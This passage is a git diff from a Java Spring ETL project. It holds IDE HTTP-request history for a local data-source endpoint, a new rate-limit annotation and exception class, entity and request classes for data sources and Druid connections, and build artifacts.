http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":54.0,\"second\":16.0,\"nano\":8.71361E7}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":2.0,\"second\":14.0,\"nano\":2.598368E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":34.0,\"nano\":1.707191E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":18.0,\"second\":17.0,\"nano\":2.847898E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":20.0,\"second\":16.0,\"nano\":2.893693E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":21.0,\"second\":40.0,\"nano\":5.336429E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/DataSourceMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.database_description,t.link_address,t.port,t.database_name,t.status,t.explain,t.extra_evlop,t.database_type,t.create_time,t.update_time,t.create_by,t.update_by,t.is_delete,t1.data_source_type_name FROM t_data_source_etl t LEFT JOIN t_data_source_type t1 ON (t1.id \\u003d t.database_type)\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":24.0,\"second\":15.0,\"nano\":7.32731E7}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"美美子的数据库\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"3306\\\",\\n \\\"databaseName\\\": null,\\n \\\"status\\\": null,\\n \\\"explain\\\": null,\\n \\\"extraEvlop\\\": null,\\n \\\"databaseType\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":29.0,\"second\":34.0,\"nano\":2.245754E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":20.0,\"minute\":1.0,\"second\":10.0,\"nano\":4.880395E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"美美子的数据库\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"3306\\\",\\n \\\"databaseName\\\": null,\\n \\\"status\\\": null,\\n \\\"explain\\\": null,\\n \\\"extraEvlop\\\": null,\\n \\\"databaseType\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":26},\"time\":{\"hour\":20,\"minute\":1,\"second\":16,\"nano\":519720300}}}]}",
"RequestMappingsPanelOrder0": "0",
"RequestMappingsPanelOrder1": "1",
"RequestMappingsPanelWidth0": "75",
@@ -187,7 +153,7 @@
"WebServerToolWindowFactoryState": "false",
"git-widget-placeholder": "lzm",
"jdk.selected.JAVA_MODULE": "1.8",
- "last_opened_file_path": "D:/workspace/ETL/etl-database/etl-database-server/src/main/java/com/etl/database/exception",
+ "last_opened_file_path": "D:/workspace/ETL/etl-database/etl-database-server/src/main/resources/mapper",
"node.js.detected.package.eslint": "true",
"node.js.detected.package.tslint": "true",
"node.js.selected.package.eslint": "(autodetect)",
@@ -196,7 +162,7 @@
"project.structure.last.edited": "Modules",
"project.structure.proportion": "0.15",
"project.structure.side.proportion": "0.2",
- "settings.editor.selected.configurable": "preferences.pluginManager",
+ "settings.editor.selected.configurable": "preferences.sourceCode.Vue template",
"spring.configuration.checksum": "82cfc8e23dc565bbdd8aa4e116342cb8",
"vue.rearranger.settings.migration": "true"
}
@@ -206,16 +172,18 @@
+
+
+
+
+
+
-
-
-
-
@@ -226,6 +194,9 @@
+
+
+
@@ -236,7 +207,7 @@
-
+
@@ -250,21 +221,6 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
@@ -294,6 +250,19 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -309,11 +278,11 @@
-
+
+
-
@@ -341,7 +310,8 @@
-
+
+
@@ -367,7 +337,15 @@
1719153349682
-
+
+
+ 1719369015142
+
+
+
+ 1719369015142
+
+
@@ -388,7 +366,8 @@
-
+
+
diff --git a/etl-common/src/main/java/com/etl/common/exception/LimitException.java b/etl-common/src/main/java/com/etl/common/exception/LimitException.java
new file mode 100644
index 0000000..6dc5d92
--- /dev/null
+++ b/etl-common/src/main/java/com/etl/common/exception/LimitException.java
@@ -0,0 +1,28 @@
+package com.etl.common.exception;
+
+public class LimitException extends RuntimeException {
+
+ private static final long serialVersionUID = 1L;
+
+ // 默认的构造函数
+ public LimitException() {
+ super();
+ }
+
+ // 带错误信息的构造函数
+ public LimitException(String message) {
+ super(message);
+ }
+
+ // 带错误信息和原因的构造函数
+ public LimitException(String message, Throwable cause) {
+ super(message, cause);
+ }
+
+ // 带原因的构造函数
+ public LimitException(Throwable cause) {
+ super(cause);
+ }
+
+
+}
diff --git a/etl-common/target/classes/com/etl/common/exception/LimitException.class b/etl-common/target/classes/com/etl/common/exception/LimitException.class
new file mode 100644
index 0000000..19d1459
Binary files /dev/null and b/etl-common/target/classes/com/etl/common/exception/LimitException.class differ
diff --git a/etl-database/etl-database-common/pom.xml b/etl-database/etl-database-common/pom.xml
index 2d1e3c4..a4d63d7 100644
--- a/etl-database/etl-database-common/pom.xml
+++ b/etl-database/etl-database-common/pom.xml
@@ -54,6 +54,12 @@
3.5.4.1
compile
+
+ io.swagger
+ swagger-annotations
+ 1.6.6
+ compile
+
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/annoation/Limit.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/annoation/Limit.java
new file mode 100644
index 0000000..e91bb2d
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/annoation/Limit.java
@@ -0,0 +1,26 @@
+package com.etl.database.common.annoation;
+
+import java.lang.annotation.*;
+import java.util.concurrent.TimeUnit;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD})
+@Documented
+public @interface Limit {
+
+ // 资源key
+ String key() default "";
+
+ // 最多访问次数
+ double permitsPerSecond();
+
+ // 时间
+ long timeout();
+
+ // 时间类型
+ TimeUnit timeunit() default TimeUnit.MILLISECONDS;
+
+ // 提示信息
+ String msg() default "系统繁忙,请稍后再试";
+
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSourceType.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSourceType.java
index 17aafba..92dcd45 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSourceType.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSourceType.java
@@ -5,7 +5,9 @@ import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
+import lombok.AllArgsConstructor;
import lombok.Data;
+import lombok.NoArgsConstructor;
import javax.validation.constraints.NotBlank;
@@ -15,11 +17,14 @@ import javax.validation.constraints.NotBlank;
@ApiModel(description = "数据源类型")
@TableName("t_data_source_type")
@Data
+@NoArgsConstructor
+@AllArgsConstructor
public class DataSourceType{
@TableId(value = "id",type = IdType.AUTO)
@ApiModelProperty(value = "数据源类型id")
private Integer id;
+
@NotBlank(message = "数据源类型名称不能为空")
@ApiModelProperty(value = "数据源类型名称")
private String dataSourceTypeName;
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSource.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
similarity index 84%
rename from etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSource.java
rename to etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
index f374d0f..737c589 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSource.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
@@ -1,9 +1,10 @@
package com.etl.database.common.entity;
import com.baomidou.mybatisplus.annotation.IdType;
+import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
-import com.etl.database.common.database.BaseMate;
+import com.etl.database.common.entity.database.BaseMate;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import lombok.Data;
@@ -16,12 +17,11 @@ import javax.validation.constraints.*;
@ApiModel("数据源配置")
@Data
@TableName("t_data_source_etl")
-public class DataSource extends BaseMate {
+public class DataSources extends BaseMate {
@TableId(value = "id",type = IdType.AUTO)
@ApiModelProperty(value = "数据源id")
private Integer id;
- @NotBlank(message = "数据源描述不能为空")
@ApiModelProperty(value = "数据源描述")
private String databaseDescription;
@@ -33,11 +33,9 @@ public class DataSource extends BaseMate {
@ApiModelProperty(value = "端口")
private String port;
- @NotBlank(message = "数据库名称不能为空")
@ApiModelProperty(value = "数据库名称")
private String databaseName;
-
@ApiModelProperty(value = "状态 0-停用 1-启用")
@Min(value = 0, message = "状态值不能小于0")
@Max(value = 1, message = "状态值不能大于1")
@@ -50,7 +48,10 @@ public class DataSource extends BaseMate {
@ApiModelProperty(value = "额外配置")
private String extraEvlop;
- @NotNull(message = "数据库类型id不能为空")
@ApiModelProperty(value ="数据库类型id")
private Integer databaseType;
+
+ @TableField(exist = false)
+ @ApiModelProperty(value = "数据库类型")
+ private String dataSourceTypeName;
}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DatabaseRedis.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DatabaseRedis.java
new file mode 100644
index 0000000..a44b06e
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DatabaseRedis.java
@@ -0,0 +1,22 @@
+package com.etl.database.common.entity;
+
+import io.swagger.annotations.ApiModel;
+import lombok.AllArgsConstructor;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+import javax.validation.constraints.NotBlank;
+import javax.validation.constraints.NotNull;
+
+@Data
+@NoArgsConstructor
+@AllArgsConstructor
+@ApiModel(value = "redis数据库配置")
+public class DatabaseRedis {
+
+ @NotBlank(message = "redis连接地址不能为空")
+ private String url;
+
+ @NotNull(message = "redis端口号不能为空")
+ private Integer port;
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/constants/DataSourceConstants.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/constants/DataSourceConstants.java
new file mode 100644
index 0000000..7a380b4
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/constants/DataSourceConstants.java
@@ -0,0 +1,7 @@
+package com.etl.database.common.entity.constants;
+
+public class DataSourceConstants {
+ public static final String OK = "ok";
+ public static final String MYSQL_USER = "user";
+ public static final String MYSQL_PASSWORD = "password";
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/database/BaseMate.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/database/BaseMate.java
similarity index 91%
rename from etl-database/etl-database-common/src/main/java/com/etl/database/common/database/BaseMate.java
rename to etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/database/BaseMate.java
index 224acca..7de3d18 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/database/BaseMate.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/database/BaseMate.java
@@ -1,4 +1,4 @@
-package com.etl.database.common.database;
+package com.etl.database.common.entity.database;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DataSourceReq.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DataSourceReq.java
new file mode 100644
index 0000000..a8f6734
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DataSourceReq.java
@@ -0,0 +1,21 @@
+package com.etl.database.common.entity.req;
+
+import io.swagger.annotations.ApiModel;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.Data;
+
+@Data
+@ApiModel("查询数据源")
+public class DataSourceReq {
+ @ApiModelProperty("页码")
+ private Integer pageNum=1;
+
+ @ApiModelProperty("每页条数")
+ private Integer pageSize=3;
+
+ @ApiModelProperty("数据源描述")
+ private String dataSourceDescribe;
+
+ @ApiModelProperty("数据源类型")
+ private Integer dataSourceType;
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java
new file mode 100644
index 0000000..4cbedab
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/req/DruidReq.java
@@ -0,0 +1,39 @@
+package com.etl.database.common.entity.req;
+
+import io.swagger.annotations.ApiModel;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.AllArgsConstructor;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+import lombok.ToString;
+
+import javax.validation.constraints.NotBlank;
+
+@ApiModel("druid连接池实体类")
+@Data
+@AllArgsConstructor
+@NoArgsConstructor
+@ToString
+public class DruidReq {
+ @NotBlank(message = "数据库连接地址不能为空")
+ @ApiModelProperty(value = "地址")
+ private String url;
+
+ @NotBlank(message = "用户名不能为空")
+ @ApiModelProperty("用户名")
+ private String username;
+
+ @NotBlank(message = "密码不能为空")
+ @ApiModelProperty("密码")
+ private String password;
+
+ @NotBlank(message = "驱动类名不能为空")
+ @ApiModelProperty("驱动类名")
+ private String driverClassName;
+
+ @ApiModelProperty(value = "数据库名称")
+ private String databaseName;
+
+ @ApiModelProperty(value = "数据库表名")
+ private String tableName;
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/resp/ColumnInfo.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/resp/ColumnInfo.java
new file mode 100644
index 0000000..38ba0f0
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/resp/ColumnInfo.java
@@ -0,0 +1,32 @@
+package com.etl.database.common.entity.resp;
+
+import io.swagger.annotations.ApiModel;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.AllArgsConstructor;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+@Data
+@NoArgsConstructor
+@AllArgsConstructor
+@ApiModel(value = "字段信息")
+public class ColumnInfo {
+ @ApiModelProperty(value = "字段名")
+ private String columnName;
+
+ @ApiModelProperty(value = "字段类型")
+ private String dataType;
+
+ @ApiModelProperty(value = "字段长度")
+ private Integer characterMaximumLength; // 注意这里可能是null
+
+ @ApiModelProperty(value = "字段键类型")
+ private String columnKey; // 主键、唯一键等
+
+ @ApiModelProperty(value = "是否为空")
+ private String isNullable; // YES 或 NO
+
+ @ApiModelProperty(value = "字段注释")
+ private String columnComment; // 列注释
+
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/ennum/LimitType.java b/etl-database/etl-database-common/src/main/java/com/etl/database/ennum/LimitType.java
new file mode 100644
index 0000000..381462a
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/ennum/LimitType.java
@@ -0,0 +1,33 @@
+package com.etl.database.ennum;
+
+public enum LimitType {
+ IP,
+ /**
+ * 直接拒绝超过限流阈值的请求
+ */
+ REJECT,
+
+ /**
+ * 对超过限流阈值的请求进行排队,等待资源可用
+ */
+ QUEUE,
+
+ /**
+ * 允许超过限流阈值的请求,但可能需要更长时间处理
+ * (比如降级服务到较慢的后端)
+ */
+ DEGRADE,
+
+ /**
+ * 自定义处理方式
+ */
+ CUSTOM,
+
+ // 这里可以添加更多的处理方式...
+
+ /**
+ * 默认的处理方式
+ */
+ DEFAULT,
+ CUSTOMER,
+}
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/annoation/Limit.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/annoation/Limit.class
new file mode 100644
index 0000000..9c8726c
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/annoation/Limit.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSource.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSource.class
deleted file mode 100644
index c00b6d5..0000000
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSource.class and /dev/null differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSourceType.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSourceType.class
index df090d2..cb527eb 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSourceType.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSourceType.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class
new file mode 100644
index 0000000..da8ea5d
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DataSources.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DatabaseRedis.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DatabaseRedis.class
new file mode 100644
index 0000000..e79ae9b
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/DatabaseRedis.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/constants/DataSourceConstants.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/constants/DataSourceConstants.class
new file mode 100644
index 0000000..fec5903
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/constants/DataSourceConstants.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/database/BaseMate.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/database/BaseMate.class
similarity index 60%
rename from etl-database/etl-database-common/target/classes/com/etl/database/common/database/BaseMate.class
rename to etl-database/etl-database-common/target/classes/com/etl/database/common/entity/database/BaseMate.class
index bf96bc3..005750d 100644
Binary files a/etl-database/etl-database-common/target/classes/com/etl/database/common/database/BaseMate.class and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/database/BaseMate.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DataSourceReq.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DataSourceReq.class
new file mode 100644
index 0000000..8717a95
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DataSourceReq.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class
new file mode 100644
index 0000000..9e01ab6
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/req/DruidReq.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/resp/ColumnInfo.class b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/resp/ColumnInfo.class
new file mode 100644
index 0000000..f7e18c8
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/common/entity/resp/ColumnInfo.class differ
diff --git a/etl-database/etl-database-common/target/classes/com/etl/database/ennum/LimitType.class b/etl-database/etl-database-common/target/classes/com/etl/database/ennum/LimitType.class
new file mode 100644
index 0000000..11ee75a
Binary files /dev/null and b/etl-database/etl-database-common/target/classes/com/etl/database/ennum/LimitType.class differ
diff --git a/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar b/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar
index 3f78b5b..b17f3a0 100644
Binary files a/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar and b/etl-database/etl-database-common/target/etl-database-common-1.0-SNAPSHOT.jar differ
diff --git a/etl-database/etl-database-common/target/maven-archiver/pom.properties b/etl-database/etl-database-common/target/maven-archiver/pom.properties
index d85b229..2e9fac8 100644
--- a/etl-database/etl-database-common/target/maven-archiver/pom.properties
+++ b/etl-database/etl-database-common/target/maven-archiver/pom.properties
@@ -1,5 +1,5 @@
#Generated by Maven
-#Tue Jun 25 19:44:07 CST 2024
+#Wed Jun 26 17:13:09 CST 2024
version=1.0-SNAPSHOT
groupId=com.bwie
artifactId=etl-database-common
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 0000000..e73a2b6
--- /dev/null
+++ b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1,10 @@
+com\etl\database\common\entity\req\DruidReq.class
+com\etl\database\common\entity\resp\ColumnInfo.class
+com\etl\database\common\entity\req\DataSourceReq.class
+com\etl\database\common\annoation\Limit.class
+com\etl\database\common\entity\DataSources.class
+com\etl\database\common\entity\DataSourceType.class
+com\etl\database\common\entity\constants\DataSourceConstants.class
+com\etl\database\common\entity\DatabaseRedis.class
+com\etl\database\common\entity\database\BaseMate.class
+com\etl\database\ennum\LimitType.class
diff --git a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
index e69de29..21c4ea7 100644
--- a/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
+++ b/etl-database/etl-database-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,10 @@
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\annoation\Limit.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DataSources.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\resp\ColumnInfo.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\ennum\LimitType.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DatabaseRedis.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\DataSourceType.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\req\DruidReq.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\req\DataSourceReq.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\constants\DataSourceConstants.java
+D:\workspace\ETL\etl-database\etl-database-common\src\main\java\com\etl\database\common\entity\database\BaseMate.java
diff --git a/etl-database/etl-database-server/pom.xml b/etl-database/etl-database-server/pom.xml
index 35a0314..da2272f 100644
--- a/etl-database/etl-database-server/pom.xml
+++ b/etl-database/etl-database-server/pom.xml
@@ -16,14 +16,13 @@
- com.bwie
- etl-common
- 1.0-SNAPSHOT
+ io.springfox
